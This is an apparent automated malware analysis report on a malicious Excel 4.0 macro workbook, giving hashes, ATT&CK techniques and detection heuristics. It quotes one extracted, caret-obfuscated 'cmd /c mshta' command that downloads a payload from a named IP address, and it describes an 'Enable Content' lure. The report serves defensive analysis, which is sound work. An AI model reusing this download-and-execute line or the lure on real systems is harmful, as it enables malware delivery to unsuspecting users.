Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 c40d34e4a36e0239…

MALICIOUS

Office (OLE) / .XLSX

65.8 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: b1361041b0ce8350f05079323edc7953 SHA-1: d402873b5328a169ddbd2c2fdedebc50e65cba69 SHA-256: c40d34e4a36e023913b611711194fee37a9cd7a63feda45a49387e897df904e0
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious Macro T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel file containing Excel 4.0 macros, specifically an Auto_Open macro. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common lure. The extracted macro contains the string 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html', indicating it will execute a command to download a payload from the specified URL. This macro execution is the primary malicious action.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1514 bytes